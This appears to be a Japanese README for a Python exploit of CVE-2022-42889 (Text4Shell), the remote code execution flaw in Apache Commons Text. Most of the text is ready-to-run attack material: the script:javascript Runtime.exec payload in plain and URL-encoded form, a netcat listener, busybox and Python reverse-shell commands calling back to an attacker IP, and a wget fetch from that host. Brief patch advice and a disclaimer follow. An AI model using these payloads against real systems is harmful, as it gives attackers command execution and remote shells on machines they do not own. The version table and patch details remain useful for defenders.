
CVE-2022-42889 (Text4Shell) のPythonエクスプロイト。Apache Commons Textの補間を介したリモートコード実行を可能にします。リバースシェル生成、SSRF、カスタムコマンド実行をサポートします。
CVE-2022-42889 (Text4Shell) の Python エクスプロイトです。Apache Commons Text のバージョン 1.10.0 未満における重大なリモートコード実行脆弱性です。
このエクスプロイトは、CVE-2022-42889 (Text4Shell) を標的としています。これは Apache Commons Text の脆弱性で、StringLookup インターポレーターによって処理される特別に細工された入力文字列を介してリモートコード実行 (RCE) を可能にします。
この脆弱性の影響は Log4Shell と類似していますが、異なるライブラリに影響します。ユーザー制御の入力が脆弱なメソッドに渡されると、攻撃者はターゲットシステム上で任意のコードを実行できます。
Apache Commons Text は、StringLookup インターフェースを通じて文字列補間を提供します。interpolator ルックアップは、以下のようなさまざまなプレフィックスを使用した式の評価を可能にします:
${script:javascript:...} - JavaScriptコードを実行 (Nashornエンジン)${url:UTF-8:...} - URLを取得 (SSRF)${dns:...} - DNSルックアップ| 製品 | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (RCEの場合) | 15+ (Nashorn無効) |
注: Javaバージョン15以上は、scriptプレフィックスによるRCEの影響を受けません(Nashorn無効)が、urlおよびdnsプレフィックスによるSSRFの影響を受ける可能性があります。
requestsライブラリ依存関係のインストール:
pip install requests
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# リスナーを開始
nc -lvnp 4444
# エクスプロイトを実行
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
スクリプトは ${script:javascript:...} 構文を使用して悪意のある文字列を作成します:
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
特殊文字は正しく送信されるようにURLエンコードされます:
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
スクリプトは以下のGETリクエストを送信します:
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
脆弱性がある場合、ターゲットはJavaScriptを評価し、コマンドを実行します。
システムが脆弱かどうかを確認する:
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
レスポンスに ${script:javascript:7*7} の代わりに 49 が含まれている場合、システムは脆弱です。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
${script:javascript:} パターンを含むリクエストをブロックこのエクスプロイトは教育目的および許可されたセキュリティテストのみを対象としています。あなたが所有していない、または明示的なテスト許可がないシステムに対するこのエクスプロイトの不正使用は違法です。著者はこのツールによって引き起こされる誤用や損害について一切の責任を負いません。
このプロジェクトはMITライセンスの下でライセンスされています - 詳細はLICENSEファイルを参照してください。
コントリビューション、問題、機能リクエストを歓迎します! issues ページをご確認ください。
Happy Hacking! 🚀
| 引数 | 説明 | 必須 |
|---|
| -t, --target | ターゲットIPアドレス | ✅ はい |
| -p, --port | ターゲットポート (デフォルト: 8080) | ❌ いいえ |
| -c, --command | 実行するコマンド | ✅ はい |
| --lhost | リバースシェル用のあなたのIP | ✅ はい |
| --lport | リバースシェル用のあなたのポート | ✅ はい |